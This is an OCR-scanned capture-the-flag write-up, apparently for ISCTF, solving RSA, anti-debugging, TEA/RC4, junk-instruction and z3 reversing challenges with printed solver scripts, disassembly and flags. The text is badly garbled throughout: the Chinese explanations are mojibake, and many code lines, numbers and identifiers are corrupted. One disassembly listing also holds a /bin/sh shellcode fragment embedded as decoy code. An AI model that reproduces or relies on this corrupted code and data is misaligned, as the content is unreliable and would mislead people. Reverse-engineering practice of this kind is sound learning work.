from crypto.Util.number import
flag = 'ISCTF{******************}'
9 flags = flag.encode()

10 e = 65537

NNV B wN
+*

11 p = libnum.generate_prime(10624)
12 q = libnum.generate_prime(1024)
13 n=p *q

14 m = bytes_to_long(flags)

15 ¢ = pow(m, e, n)

16 output = open('output.txt', 'w')

17 output.write('p+q =' + str(p + q) + "\n'")

18 output.write('(p+1)*(g+1l)=' + str((p + 1) * (g + 1)) + '"\n")
19 output.write('ec=" + str(ec) + '\n'")

20 output.close()



Joutput.txt - i2HA - -

MHF) fREE(E) #8IU(0) =H(V) EEN(H)
292884018782106151080211087047278002613718113661882871562870811030
932129300110050822187903340426820507419488984883216665816506575312
384940488196435920320779296487709207011656728480651848786849994095
965852212548311864730225380390740637527033103610408592664948012814
290769567441038868614508362013860087396409860
212927890731602272957683197809979769913009236844149914320300773130
417623141447100937804683526164480475343392083245180897272107648436
551825159553593098136002869498872189165183463912881519545796929121
057877806041372763009570468994607966518559831546165837090959215326
393713110996596978348870645103513195319024333558336047526387571321
291367044581197672797767125168253797228370053809656868172297712526
937365343970632018808260102739307617676504386383950194111199791493
372607769652471447059159516746974255062368015954771594323698623773
783064618096698857646895260960876356352476583967806719766177168016
60025870405374520076160
520300554236132378034010366202314446850116178818393075997592479039
409799936706294460222859059805319400560149715418370060461464898095
895364359673251063546023336351720680326705497650605849559296478186
894361799224580846395795716110080015593610992834080875511209165161
925838520668403806360086466993445143963741056870047005736255404533
483609801330822851817590111323543625799839740138951192628873975926
808025137778235677962461654696623721373753525274892604208620360086
025155707444068587935416986620649096233120323401951648570096422792
466845218197596135291430435773176908138240694075026081754729955270
£5287482926593175925396

MERERH py XA LANE, X2—& RSA, (BEFBLHIIE p+q 0 (p+) * (q+1)

X
2 y=(p+1)*(g+1)
y JBHF: pg+p+q+l, B2 n+x+1
M4, n=y-x-1
phi=(p-1)*(q-1)=pg-p-g+1=n-x+1
Bl phi=n-x+1

fRRRBIA



import 1ibnum

from crypto.Util.number import long_to_bytes

import gmpy?2

X =
29288401878210615108021108704727800261371811366188287156287081103093212930011005
08221879033404268205074194889848832166658165065753123849404881964359203207792964
87709207011656728480651848786849994095965852212548311864730225380390740637527033
103610408592664948012814290769567441038868614508362013860087396409860

y:
21292789073160227295768319780997976991300923684414991432030077313041762314144710
09378046835261644804753433920832451808972721076484365518251595535930981360028694
98872189165183463912881519545796929121057877806041372763009570468994607966518559
83154616583709095921532639371311099659697834887064510351319531902433355833604752
63875713212913670445811976727977671251682537972283700538096568681722977125269373
65343970632018808260102739307617676504386383950194111199791493372607769652471447
05915951674697425506236801595477159432369862377378306461809669885764689526096087
635635247658396780671976617716801660025870405374520076160

Cc =
52030055423613237803401036620231444685011617881839307599759247903940979993670629
44602228590598053194005601497154183700604614648980958953643596732510635460233363
51720680326705497650605849559296478186894361799224580846395795716110080015593610
99283408087551120916516192583852066840380636008646699344514396374105687004700573
62554045334836098013308228518175901113235436257998397401389511926288739759268080
25137778235677962461654696623721373753525274892604208620360086025155707444068587
93541698662064909623312032340195164857009642279246684521819759613529143043577317
69081382406940750260817547299552705287482926593175925396

e = 65537
n =y-x-1
phi = n-x+1

d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

al\Microsoft\Windo

vualvys

83lflag

ISCTF{kis1-iopa-qdnc-tbfs-ualv}

where
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whereIfiF el B %

* ;EEE E ng

i =E= *E HE
where Re hE
+ FLAG

ISCTF{20220222b0fa99f5bbd8bcf85d029dfd3033de7
f}

. *
« JHR R

s A
=
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O rcaTEA
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FIFFIDAEMEI ERA FARMRIZE T — 1T RELIESR

o« Wel8)3
L H
N lbbbd / 18b;
E 1obbph ¥ 18
ABL¥0(T ~ s 1)
01590111 . ¥
) L] wlpddd
I 3| » i | | |
I
Ak
i )
5
WL Lo

NEEEHE

1fint sub_se135e()
2({

.;].

return NtCurrentTeb()->ProcessEnvironmentBlock->BeingDebugged;

tNRiga R, Ni#A BiFist,
if ( lisdebug(vs, &loc _401660) )
——

ExitProc BE (E]l,
}



FEE LR, FilR L BEEHFEE N ORE
Wi, (UURZRATHELEINES R, FIENEXEF
n3?

Bebek()

BOOL result: //f

| struct _DEBUG_EVENT DebugEvent; //
struct _STARTUPINFOA StartupInfo; //

5| struct _PROCESS _INFORMATION ProcessInformation; /f
CHAR Filemame[Ll@24]: //

b = &8;

B wemset(& .lpReserved, @, wxdbu);
GetModuleFilelamed (0, , BwadBu);
if { ICreateProcessaf , 8, 8,8, 8, 1u, 9, 8, & , & ] )}

putMagi4e4) ;
HooputMsgl(2);
t. dwhebugEventCode = @;

memset (8 dwProcessId, @, @xSCu);
| while [ 1)
{
[3 5 axFFFFFFFF]:
L )
break
ent | .dwirocessid, .dwThreadld, dwContinueStatus);

BAGSRHFE, 1 MflaglREIFHELHNES B
FEEAEAKX, FRLARIITLIEERE SHE—1
flag2:20220222

scand {4, & Yz
f L
X 10dad / 104;
X 1202 X 109

- Y £+ 1) - &
i11) t=m || £ 133 » e || » 12 » 32 || | | - = ¥ = LI3E33BE63E )

R EIENEEYEE G e LABY R I —,FRPA401390iX /4N iR
E0SCRRFA R RLERE.

1=l LUA Y1&w—A Ll LIeNaocode™h 1

int cdecl sub 481398(1int al, int az)
2

}

return ~(a2 + ~al);

® @
int sub(int a, int b){

return ~(~a+b);



for(int magicNum = 0; magicNum <
99999999;: magicNum++){

int year = magicNum / 10000;

int month = magicNum % 10000 / 100;

int day = magicNum % 10000 % 100;

// TR EFLR— 1 BUS =89, —NMEERRYE NG

int checkNum = ((sub(((sub(month * 7, 1)
* 13 + day) + 3) * 11, month) - day) / 10
+ 11) " 66740;

/TR EIRBIER
if( magicNum & 1 = 1 || magicNum < 233
|| year > 9999 || month > 12 || day > 32

|| (year + day + month) * checkNum ==
136398636)1 printfMsg(magicNum);

}

}

EhHEflagkERE A2, ABHIET—1=18
HRE

e
scanf("Xs", &5tr);

length = strlen(&5tr);
if ( length l= 32 )

putMsg(l);
-

RitVehFELERYES RIMH LM R EHRT
TR

MG _ stdcall Handler{struct _EXCEPTION_POINTERS *ExceptionInfo)

20
3| size t vl; // eax
1| DWORD Value; f/ [esp+58
nar v4[2561; // [es]
& char "Source; [/ p
| char Destination[256]; //f [esp+ls
8| char 5tr[256]; // [esp+258
char vB[256]; //
har va[ I

256];
.- memset (v, @, sizeof(va)});
3 memset( » By si:euf{ 1);



t| memset( » B, sizeof( |3 H
memset(vad, @, sizeof(va));
= Ex -»ContextRecord-»Edx;

= =»ContextRecord->»Eax;
if ( -»Exceptionfecord-»ExceptionCode != @xC@000805 )
return @;
3| strcpy( p) )i
_itoa( » 5tr, 8);

= strlen( Y3
2 sub_dglesa(vo, s Str, )i
t| sub_se1eFe(vs, 1 H
F sub_4a@llaa(vs, 5 256}
5| sub_s012a8( ¥ » 32);
)Cunt:xtﬁeca"d »Eip += B;
Bl return =-1;

ERELAN T edx, FEAIERI=IE HEDRL, B LHKE, 1
PAS e ddgRERAIE IR N RIEE

| text :@@481D6F loc_481D6F: ; CODE XREF
.text :08481D6F lea ecx, [ebpi5tr]

.text: 00481075 mov [ebptvar_B8], ecx
.text:88481D78 mov edx, [ebptvar_B8]
.text:0e481D78 mov eax, [ebptvar_14]
text:80481D7E db 3Eh

ERRELERY, HESHEE FMXRNE—

MEEMMBRAE L ERE—ERKIFMELH#GTT

Eiz'siJ 3] 'F?E#‘ﬁ'ﬁ?ﬁﬂl!ﬂﬂ—"$ﬁﬁﬁz:€—
R ERLARASREZRHAR, Rz GERIER

AB({ BYT 1, I 2, I , int a4)
2 e
3| for ( 1 =@; i € ad4; ++1i )
{
if ( i) .
3[i] = a3[a1[i] % i] ~|a1[i] ~ B2[i];
else i
}
12] return @;
13}

TEHRIE—EREFEE,FANtClose, lFRTA
A.

1 GetProcAddress(::hModule, “"NtClose™);
( }{ 3 };
if ( sub IIEITEI'BB{E tr) == -1 )
putMsg(666);
else

putMsg(188):



XEBHE R A TR

® @®

JEFINtClose BEM— AR, MNRgEHER, 3B
A [BAZ] (https: //so.csdn.net/so/search?q=f
2 &spm=1001.2101.3001.7020))RE]FALSE: {BYIER

AL, BBARFRKNHEE 0xC0000008,

FREAFF B eiEEIR 282 07 TERA ANtCloseRIRH RN
0xC0000008 %%, {ER BAiRHIBELEINMRE,
BARVEHRELEH BTN REHTIRE. BB
4, BIBAMmAREEEEIERSEHRE BILHRE X
FISEHERELE BRI

EAL . U FrUALAD Fu:ll '|:l.||i.||

ext: 084816811 mov ebp, esp

ext: 08481813 sub esp, BE4dh

ext: 208481819 push ebx
ext:0840181A push esi

ext: 08481818 push edi
ext:ee40181C lea edi, [ebptvar_E4]
ext:08401822 mov ecx, 39h

ext: 08481827 mov eax, @CCCCCCCCh
extsee481D2C rep—stosd

exty ee401B82E lea eax, loc_aelcee
ext} 008481634 push eax
extk@ﬁ431335 mov eax, large fs:8
extF99491333 push eax
ext}ee401B3C mov large fs:8, esp
ext: 884816843 mov [ebp+var_4], @

RIMZNRELERINT — M REIES, ZigiE, AH
AN E—E BRI Tea %, LR _ LB IRFIRC4AY
BREAZ. ZERRIZRIMZR/\PFHIME
=15 ZififikeyRiF#ITINE,

d
int §

o b
3 3 =233
- oW W e



= [ + 1]z
for ( = @; € 325 ++7 )

-= Bx21524111;
("(w0 + (4™ L+ 8) % 32+ 1) & [y >> 85)) ~ )l A ("(va + (4" 1+8

i\ 4019BoRE 1 TISIIE

if ( sub_4@19B@(85tr) == -1 )
putMsg(666) ;

else
putMsg(lee);

48 F ~d V- -

- s AN

SR 7T —REENFLFEI BEHATE—1FH
B, BEFRMHRIZA encli] <encli+2], RBFX—Z
HHABTTRE (MZzREZELHXRIE) Hb
enclk] & LA & Bk xenclk + 11T LB Ry I
byte_434D3C[x][y] = 1, REIEXPMZHEESZIM—
N HEERHITIIEL.

lint _ cdecl sub 4819B@(unsigned _ int8 *ghc)

int m; //f
int i; //
int §; //f
int k; // [e
int 1; //

for ( =8; i< 32; Hi )
enc[i] "= byte_432834[i];
for ( = @; < 3@; += 2 )
{
if ( [i] >= enc[j + 2] )
return -1;
}
for ( = B; < 32; = 2 )
byte_434D3C[30@ * [k] + enc[k + 1]] = 1;
for ( 1 =8; 1 < 300; +1 )
{
for ( m = 8; m < 308; +im )

if ( byte_434D3C[3e0 * + m] != byte_4lCeAe[3ee = +m] )
return -1;
¥
¥

return 8;
3}

SIEIER BERF L8, SMUBTE
e



wherefZ A

//wherefii B

#include "stdio.h"
#include<string.h>
#include "dataFlag.h"
#include <stdlib.h>

void Tea(unsigned char* str){
printf("Teaf@##+\n");
unsigned int* box = (unsigned int*) str;
for(int i =6; i >=0; i =1 - 2){
unsigned int sum=0;

unsigned int kO = str[(i + 2) * 4 % 32], k1 = str[(i + 2) * 4 % 32 + 1],

k2 = str[(i + 2) * 4 % 32 + 2], k3 = str[(i + 2) * 4 % 32 + 3];

unsigned int delta=0xDEADBEEF;

unsigned int 1 = box[i], r=box[i + 1];

forCint ii = 0; ii < 32; ii++){
sum+=delta;

}

for(int j = 0; j < 32; j++){
r-=C(1<<4)+k2)A(1+sum)AC(1>>5)+k3);
T-=((r<<4)+k0)A(r+sum)A((r>>5)+k1);
sum-=delta;

}

box[i] = 1;

box[i + 1] = r;

}

printf("Teaf&5¢%\n") ;

int initST(unsigned char *S, unsigned char *T, unsigned char *K, int Ten)

{

int i = 0;

for(i=0; 1<256; i++)



s[i]
T[]

i
K[i%len];

return 0;

int initS(unsigned char

{
unsigned char tmp = 0x00;
int i = 0;
int j = 0;
for(i=0; i<256; i++)
{
j = (j + Ss[i] + T[i]) % 256;
tmp = s[jl;
s[j1 = s[il;
S[i] = tmp;
}
return 0;
}
int initk(unsigned char *S, unsigned char
{
unsigned char tmp = 0x00;
int i = 0;
int j = 0;
int r = 0;
int t = 0;
for(r=0; r<len; r++)
{
i=(0 + 1) % 256;
j = (@ + s[il) % 256;
tmp = S[jl;
s[jl = s[il;
S[i] = tmp;
t = (S[i] + S[j1) % 256;
K[r]l = s[tl;
3
return 0;
}

int RC4(unsigned char *K, unsigned char *M,
int i = 0;
unsigned char ans[33] = {0};
memcpy (ans, M,32);
for(i=0; i<len; i++){
if(i == 0){
E[i] = (M[i] A K[DD;
}else{

*S, unsigned char *T)

*K, int Ten)

unsigned char

E[i] = (M[i] A K[i] A ans[K[i] % i1);

-,':E’

int len){



}

return 0;

void RC4_ENC(unsigned char* enc){

printf("RCAf#E#F\n") ;
unsigned char S[256];
unsigned char T[256];
unsigned char K[256];
unsigned char M[256];
unsigned char* E = enc;
unsigned char C[256];
memset (S, 0x00, sizeof(S));
memset (T, 0x00, sizeof(T));
memset (K, 0x00, sizeof(K));
memset(C, 0x00, sizeof(C));

strcpy((char*)Mm, (char*)E);
itoa(20220222, (char*)K, 8);
initsST(S, T, K, strien((char*)K));
inits(s, T);

initk(S, K, 256);

RC4(K, M, E, 32);

printf("RCAFE EE\N") ;

unsigned char keyMap[] =
{241,239,97,187,201,69,87,67,54,235,195,245,97,31,224,237,95,25,195,131,11,103,9
1,68,122,157,178,126,245,181,34,101};

int main(){
int index = 0, i = 0, j = 0;
unsigned char enc[33] = {0};
for(i = 0; i < 300; i++){
for(j = 0; j < 300; j++){
if(Truemap[i1[j] == 1){
enc[index++] i

15
enc[index++] = j;
break;

for (i = 0; i<32; i++){
enc[i] A= keyMap[i];

}

Tea(enc);

RC4_ENC(enc);

printf("%s",enc);

getchar(Q);

return 0;



//dataFlag.h

FloweyRSA

HEA: Laffey

IDA—¥TFHZEMaINEREENR T .

STEXT I euoreYoeenLL LU
Jtext:8000008008881220
.text:eoe08a600888122C
.text:eoepBe0eB888122C
.text:ooposadpeavalazc
.text odepsodeeaealazC
.text:oeeeea0288821220
-text:edebpadoe80a1238
.text:eoooBe0008001237
.text:o8e080800809123E
.text:ooe08a0008881241
SText:geoegageBeeallal
<text:eosesa0008981246
Jtext:eop0sa9008901240
textiofeesodeesealase
.text:oo2oea02080a1257
.text:edoogado0e0a1254
.text:edeoge8e0808125F
Jtext:800080800888125F
.text:eoeeea6008881264 53

55
48
48
48
48
E8

B9

8D
B9
EA

48
48
43
48
B8
E8

BD
B2
BD
B3
a8
oc

EC
a5
c7
FD

a5
e
a5
c7

FD

F@
44

FF

aF

o8
FF

; imt __cdecl main(int argec, const char **argv, const char **envp)
public main

main: ; DATA XREF: _start+l4Ta
i __unwind {
push rbp
mov rbp, rsp
a1 ee ae sub rsp, 1Fah
8E 288 a8 lea rax, aWatashinoRsalo ; "Watashino RSA-wo mitekudasai
mov rdi, rax
FF call _puts
FE FF FF lea rax, [rbp-118h]
mov rsi, rax
(-1 T lea rax, as “*s"
mov rdi, rax
aa mov 2ax, B
FF call ___isoc99_scanf
push rbx

T8, B/ thRORAKENBRIERES, PER—1EiE<. £%nopi

JtexteoEeBesaaeea1264
Jtext:B@0ORGBRERRR1265
Ltext: B98e008208881268
Ctext: 9020000208001268
Jtext:BOE0REDS0BBB126E
Jtext:@9goBasaacaa126D
Jtext:@@eoReBRERRR12E]
Jtext:
Jtext:
Jtext:
Jtext:
Jtext:
Jtext:
Jtext:
Jtext:
SJtext: B ES
Jtext: BOSGBOBSAREA125]
LLext . Sf00e08208881 286
Jtext:edooBeseaeaRl2se
Ltext: B980008208881296
Ctext: 0e0000200081296
Jtext:BOEOBEDB0RER129E 5B

53
48
48
75

3
85
82

28
a3
68
7

77

text:
T Ltext:

text:
T Ltext:
Stext:
Stext:
© Ltext:
© Ltext:
Stext:
Stext:
SLext:
S Ltext:
Ltext:
Stext:
Stext:
<text:
t Ltext:
© Ltext:
Stext:
Stext:
Ltext:
text:
Stext:

egegaeenaesalafrs
eggeeeeeaeeal2rFD
eggeeeeeaeeal2rFD
egegpeeoaepal2FF
egeoaee0aepal2FF
egegaeepaesalinl
eggeage0aeealied
eggeaee0aeealies
egagageeaesalind
egagagenaepalinr
egeceggeeeealils
eggeagecaeealile
eepoaoeceeealils
egagagenaesalils
egagagenaesalila
eggeaeecaeealile
egeeaeecaeealilc
egeeaeecaeeallilE
egagogeeaesallilF
eogoegeeageelizl
eepoaoesee0al1322
eepoaoesepealizd
copoaoeeaRealizy
.text:egeee0ee8ee01328
.text:egeoe0ee8ee01328
.text:0000000000001328
.text:e0boa02e8808132A
.text:ee0ee00080201328
.text:egeee0ee8ee132B
.text:9002000000001328

i L

48
74

75

2l

51
64
59
e1
51
89
D2
58
a]

El

11
GA

ae

29 B5 53 14
11 11 44 14
61 71

BE &4 &F 77

B84 D5

es

push rbx

xor rbx, rbx

test rbu, rbx

dnz short l’m
short labelb

labela: ; CODE XREF: .text:@8980800900012681]
sub esp, 1453852%h

add abp, ds:14441111h

push 716168610

ja short near ptr loc_l2E7+2

ja short loc_12E7

E1 &A SF;iDlhndowajojolu db 'dahndowajejoiwd’,@

j e

labelb: ; CODE XREF: .text:00020000000812601]
pop rox
80 FE FF FF moy [rbp+rdx*8-188h], rax
jz short labell
jnz short labell
push 68h ; 'h’
push 732F2F2Fh
push GE69622Fh
mov ebx, esp
a1 push 18181@1h
ade al, 24h ; '}
j short loc 1
4
rex
ecx, esp
rex
[rex], edx
shr byte ptr [rdx+8Bh], ¢l
pop rax
int 2ah ; LINUX -
db @
CODE XREF:

labell: H

e m ik
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)5 1@ FE FF FF [rbp+rdx*8-1F8h], rax

short label3

short label3

2 BF @1 ee

Abort selection
ﬁ Analyze selected area

Patching ’

E' Enter comment...
@ Enter repeatable comment... .
[EL Structure offset T
X Undefine u

label3

SRETEMaiNMIZ ARt 5 create function
s2n endp

; int __cderl main(int arse. const char **¥arov, const char **envp)

public mai g4 Rename N
main: XREF: _start+l4to
H _umqinc‘ NOP Ctrl+N
push rt g Assemble..
mov rt .
20 00 sub rs L '
20 e lea ré (2] Enter comment.. c bshino RSA-wo mitekud:
mov

call : (i)l Enter repeatable comment...

FF FF lea rsx Undefine U
mov re .
20 oo lea r'a". Add breakpoint F2
mov re
Xrefs hto...
mov W& Xrefs grap

e:
call ﬂ Xrefs graph from...

HLRER T .



puts("Watashino RSA-wo mitekudasai!");
__1s0¢99_scanf("%s", v7);
if ( (unsigned int)len(v7) == 52 )

-~

for ( 1 =8; 1 <= 12; ++1 )
{
vd = s2n(&v7[4 * 1], 4LL);
ve[i + 14] = v4;
v5 = qpow(v6[i + 14], ©721LL, 3162244531LL);
ve[i] = v5;
if ( ve[i] != c[1] )
{
puts("ls -al $HOME/.rustup");

return 1;
}
}
puts("yes");
return ©;

}

else

{
puts("ls -al $HOME/.rustup™);

return 1;
&
L
> P
RIERSAINGE, HBECHEHSK
rodata:@000e00000002020 5 _QWORD c[13]
.rodata:ee0eaeeeeeae2e2e C5 2E 3C 75 @@ 8@ 2@ 8@ 36 C7+c dg TSBCZIECSh_. 8D9eC736h, 81282CBeh, 7EECC476h, 944E15D3h, 2C7AC726h, 717E8070h, 3@CBE439h, 8B1DSSA9Ch
.rodata:0000000000002020 90 8D €0 00 °@ ee Be 2C 28 81+ ; DATA XREF: main+15Ffo
.rodata:0000000000002020 0 00 @ @0 70 C4 EC 7E 00 ©0+dq 6DB667BBh, 1240463Ch, 77CBFE64h, 11D8BESSh
.rodata:2e00000000002088 ; const char s[]
.rodata:0000000000002088 57 61 74 61 73 68 69 6E 6F 20+s db ‘Watashino RSA-wo mitekudasail',@ ; DATA XREF: main+Blo
rodata:06000000000020A6 25 73 60 as db '%s',@ ; DATA XREF: main+24fo
.rodata: 80000006000020A9 ; const char alsAlHomeRustup[]

KPR, BEEDHE.

from Crypto.Util.number import*
e=00721
p=56099
g=56369
n=p*q
phi=(p-1)*(q-1)
d=pow(e,-1,phi)
ca=[0x00000000753C2EC5, 0x000000008D90C736,
0x0000000081282CB0,0x000000007EECC470, 0x00000000944E15D3, 0x000000002C7AC726,
0x00000000717E8070,0x0000000030CBE439, 0x00000000B1D95A9C, 0x000000006DB667BB,
0x000000001240463C,0x0000000077CBFE64, 0x0000000011D8BE59]
flag=b"''
for c in ca:
m=pow(c,d,n)
flag+=long_to_bytes(m)
print(flag)



C:\Users\Laffey>Downloads\yafu-1.3Ud\yafu-Win32.exe
factor(3162244531)

fac: factoring 3162244531

fac: using pretesting plan: normal

fac: no tune info: using gs/gnfs crossover of 95 digits
div: primes less than 10000

rho: x"2 + 3, starting 1000 iterations on C1@

rho: x*"2 + 2, starting 1000 iterations on C10

Total factnrlng time = 0.0035 seconds

***factors foundx**

P5 = 56099
= 56369

easy _z3

ZRA R RR HEAE TEL5shEI Bease_math
HERA: her01st
AT R:

python
z3-solver

from z3 import *
1=["'"']1%20
for i in range(6):

TAI=Int("T["+strid)+"1")
s=Solver()
s.add((593*1[5] + 997*1[0] + 811*T1[1] + 258*1[2] + 829*1[3] + 532*1[4])==
0x54eb02012bed42c08)
s.add((605*1[4] + 686*1[5] + 328*1[0] + 602*1[1] + 695*1[2] + 576*1[3])==
0x4f039a9f601affc3a)
s.add((373*1[3] + 512*1[4] + 449*T1[5] + 756*1[0] + 448+*1[1] + 580*1[2])==
0x442b62c4ad653e7d9)
s.add((560*1[2] + 635*1[3] + 422*1[4] + 971*1[5] + 855*1[0] + 597*1[1])==
0x588aabb6a4ch26838)


af://n741

s.add((717*1[1] + 507*1[2] + 388*T1[3] + 925*1[4] + 324*1[5] + 524*1[0])==
0x48f8e42ac70c9af9l)
s.add((312*T1[0] + 368*1[1] + 884*1[2] + 518*1[3] + 495*1[4] + 414*1[5])==
0x4656c19578a6b1170)

if s.check()==sat:
m=s.model1()
flag=""
for i in range(6):
p=hex(m[1[i]].as_long())[2:]
for j in range(int(len(p)/2)):
flag+=chr(int(p[j*2:j%*2+2],16))
print(flag)

ISCTF{NO_One_knOws_m@th_B3tter_Th@n_me!!!}

easy_flower_tea

HEA: herO1st
EELR, &EF, ELdienLI&M, ZEFRRELR, 32(EF

Detect It Easy v3.08 [Windows 10 Version 2009] (x86_64)

D:\C preject\Project2\Debug\Project?2. exe

ST
50. 00 KiB

BEZES: Windows(Vista)[1386, 32 i, 48]
IR1Zes: Microsoft Visual C/C++(19.33.31630)[C+ +]
SRR Microsoft Linker(14.33.31630)

TE&: Visual Studio(2022 version 17.3)

RS Ridarh, FEAmainE®], =idltab, BRAERRE, FARERE, AM—KERESE
<, —MEBRINEES, BARIIBESER, HITFNERLRES
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.text:@@4126EC 8D 7D D4 lea edi, [ebp-2ch]

.text:004126EF BO @B 00 00 00 mov ecx, @Bh

.text:004126F4 B8 CC CC CC CC mov eax, @CCCCCCCCh

.text:004126F9 F3 AB rep stosd

.text:004126FB Al 00 CO 41 @0 mov eax, __ security cookie
.text:@@41270@ 33 C5 xor eax, ebp

.text:00412702 89 45 FC mov [ebp-4], eax

.text:00412705 33 CO xor eax, eax

.text:00412707 89 45 Fo mov [ebp-16h], eax

.text:0041270A 89 45 F4 mov [ebp-0Ch], eax

.text:@041270D C7 45 D8 OC @0 00 990 mov dword ptr [ebp-28h],
.text:00412714 C7 45 DC 22 00 00 00 mov dword ptr [ebp-24h o
.text:0041271B C7 45 EO 38 00 00 090 mov dword ptr [ebp-20 '8’

.text:00412722 C7 45 E4 4E 20 00 00 ~—ThovV dword ptr [ebp-
.text:00412729 33 Co xXor eax, eax
.text:0041272B 85 C@ test eax, eax

.text:0041272D 74 @B
.text:0041272D
.text:0041272F 75 @0
.text:0041272F
.text:00412731
.text:00412731
.text:00412731 S5E
.text:00412732 23 C3
.text:00412734 50
.text:00412735 33 C3 xor eax, ebx

.text:00412737 74 @3 jz short loc_41273C

.text:00412737

.text:0041273%

.text:00412739 locret_412739: ; CODE XREF: .text:@041272DT
.text:00412739 C2 8B F4 retn @F48Bh

INATR2N ANAT272N:  Favt =NNA1272N (Ssmahranized with Hav Wisw—1)

1#6710041272DF00412739, ctrl+n Hnopi&E, W{AFEHRIERI0041272D, ZIRFERUEHEN, R
PINEREY, ERtabRIARBTLAEREHITRIRE

short near ptr [locret_412739+1

short $+2

;/ CODE XREF: .text:0041272F1



LTeXTIUW4li/UA 89 45 k4 mov Lebp-vLn], eax

.text:0041270D C7 45 D8 OC 00 00 00 mov dword ptr [ebp-28h], @ch
.text:00412714 C7 45 DC 22 0@ @0 00 mov dword ptr [ebp-24h], 22h ; '"'
.text:0041271B C7 45 E@ 38 00 @0 00 mov dword ptr [ebp-26h], 38h ; '8°
.text:00412722 C7 45 E4 4E 00 @0 00 mov dword ptr [ebp-1Ch], 4Eh ; "N’
.text:00412729 33 Co xor eax, eax
.text:0041272B 85 C@ test eax, eax
.text:0041272D 90 nop
.text:0041272E 90 nop
.text:0041272F 9@ nop
.text:00412730 90 nop
.text:00412731 %0 nop
.text:00412732 90 nop
.text:00412733 90 nop
.text:00412734 90 nop
.text:00412735 90 nop
.text:00412736 %0 nop
.text:00412737 9@ nop
.text:00412738 %0 nop
.text:00412739 90 nop
.text:0041273A 90 nop
.text:0041273B 90 nop
.text:0041273C 68 41 10 41 @8 push offset sub_411e41
.text:00412741 68 30 9B 41 00 push offset aPleaseEnterYou ; "Please enter your
.text:00412746 A1l DC D@ 41 @8 mov eax, ds:?cout@std@@3Vv?$basic_ostream@bU?$char_traits
.text:0041274B 50 push eax
.text:0@41274C FR 5D FA FF FF call sub 4111AF
.text:00412705 33 CO xor eax, eax
.text:e0412707 89 45 Fo mov [ebp-16h], eax
.text:@e41270A 89 45 F4 mov [ebp-och], eax
.text:0e4127eD C7 45 D8 OC 00 @0 00 mov dword ptr [ebp-28h], ech
.text:ee412714 C7 45 DC 22 00 @0 00 mov dword ptr [ebp-24h], 22h ; '"
.text:0e41271B C7 45 E0 38 00 00 00 mov dword ptr [ebp-206h], 38h ; '8°
.text:00412722 C7 45 E4 4E 00 00 00 mov dword ptr [ebp-1Ch], 4Eh ; 'N’
.text:0e412729 33 Ce xor eax, eax
.text:ee41272B 85 Co test eax, eax
.text:00412728
.text:0041272B 3 M e e e e e e e e e e e e e e e e e e e e e e e e e e m e mm oo
.text:0041272D 98 db 96h |
.text:0e41272E %0 db 9eh
.text:@e41272F 90 db  9eh
.text:00412730 90 db  9eh
.text:00412731 90 db  9eh
.text:00412732 90 db  9eh
.text:00412733 90 db 9eh
.text:ee412734 o0 db 9eh
.text:00412735 90 db  9eh
.text:00412736 90 db  9eh
.text:00412737 90 db  9eh
.text:00412738 90 db  9eh
.text:00412739 90 db 9eh
.text:@041273A 90 db  9eh
.text:00412738 90 db  9eh
.text:0041273C 68 db 68h ; h
.text:0041273D 41 db 41h ; A OFF32 SEGDEF [_text,411041]
.text:0041273E 10 db 1@h
.text:0e41273F 41 db 41h ; A
.text:00412740 @@ db 2]
00001B2D 0041272D: .text:0041272D (Synchronized with Hex View-1)
.text:0041270D C7 45 D8 OC 00 00 00 mov dword ptr [ebp-28h], ech
.text:00412714 C7 45 DC 22 00 00 00 mov dword ptr [ebp-24h], 22h ; '™’
.text:0041271B C7 45 EQ 38 00 00 00 mov dword ptr [ebp-2@h], 38h ; '8°
.text:00412722 C7 45 E4 4E 00 00 00 mov dword ptr [ebp-1Ch], 4Eh ; "N’
.text:00412729 33 Co xor eax, eax
.text:0041272B 85 (O test eax, eax
.text:0041272D
.text:0041272D ; =============== S UB R O U T I N E ==s====================================

.text:0041272D
.text:0041272D

.text:0041272D sub_41272D proc near
v .text:0041272D 90 nop
.text:0041272E 90 nop
.text:0041272F 90 nop
.text:00412730 90 nop
.text:00412731 90 nop
.text:00412732 90 nop
.text:00412733 90 nop
.text:00412734 90 nop I
.text:00412735 90 nop
.text:00412736 90 nop
.text:00412737 90 nop
.text:00412738 90 nop
.text:00412739 90 nop
.text:0041273A 90 nop
.text:0041273B 90 nop
.text:0041273C 68 41 10 41 @0 push offset sub_411041
.text:00412741 68 30 9B 41 @0 push offset Str ; "Please enter your number 1:\n"
.text:00412746 Al DC DO 41 0@ mov eax, ds:?cout@std@@3v?$basic_ostream@U?$char_traits@D@std@@@l@A ; std
.text:0041274B 50 push eax ; int
.text:0041274C E8 5D EA FF FF call sub_4111AE

HENREE, TJLURR—DRAEE, LARENEER, HEARFEE



int _ usercall sub_41272D@<eax>(int al@<ebp>)
{

int v1; // eax

int v2; // eax

int v3; // eax

int va4; // eax

int ve; // eax

vl = sub_4111AE(std::cout, "Please enter your number 1:\n");

((void (__thiscall *)(int, int (__cdecl *)(int)))std::ostream: :operator<<)(vi, |sub_411041);
((void (__thiscall *) RD, int))std::istream::operator>>)(std::cin, al - 16);

T:cout, "Please enter your number 2:\n");

call *)(int, int (__cdecl *)(int)))std::ostream::operator<<)(v2, sub_411041);
all *)(_DWORD, int))std::istream::operator>>)(std::cin, al - 12);

16, al - 40);

void {__thiscall *)(int))std::ostream::o
if ( *(_DWORD *)(al - 16) == 1115126522 )
{
if ( *(_DWORD *)(al - 12) == 2014982346 )

sub_4111AE(std:

rcout, "
thiscall *)(i

ion!");
TTostream: :operator<<)(v4d);

return 9;

}
}
else
{

v6 = sub_4111AE(std::cout, "error");

((void (__thiscall *)(int, int (__cdecl *)(int)))std::ostream::operator<<)(v6, sub_411041);
}

A LARARAREE— MNZREBaIEE —KEME12,34,56,78, BteaBLXiHE, Bidttiktead
%, AILABANiZtea R EN, IPABTEMNIDZIET LIS, ZEFBIREFPEANEE, @Eidtea
IS 5111512652210 5% 20149823461 THr s, MNTIEHIEHLSS

.text:004126EC 8D 7D D4 lea edi, [ebp-2Ch]
.text:004126EF B9 OB 00 00 00 mov ecx, @Bh

.text:0084126F4 B8 CC CC CC CC mov eax, @CCCCCCCCh
.text:004126F9 F3 AB rep stosd

.text:004126FB Al @@ CO 41 @0 mov eax, __ security cookie
.text:00412700 33 C5 xor eax, ebp

.text:00412702 89 45 FC mov [ebp-4], eax
.text:00412705 33 CO XoP eax, eax
mov [ebp-16h], eax

.text:00412707 89 45 Fo
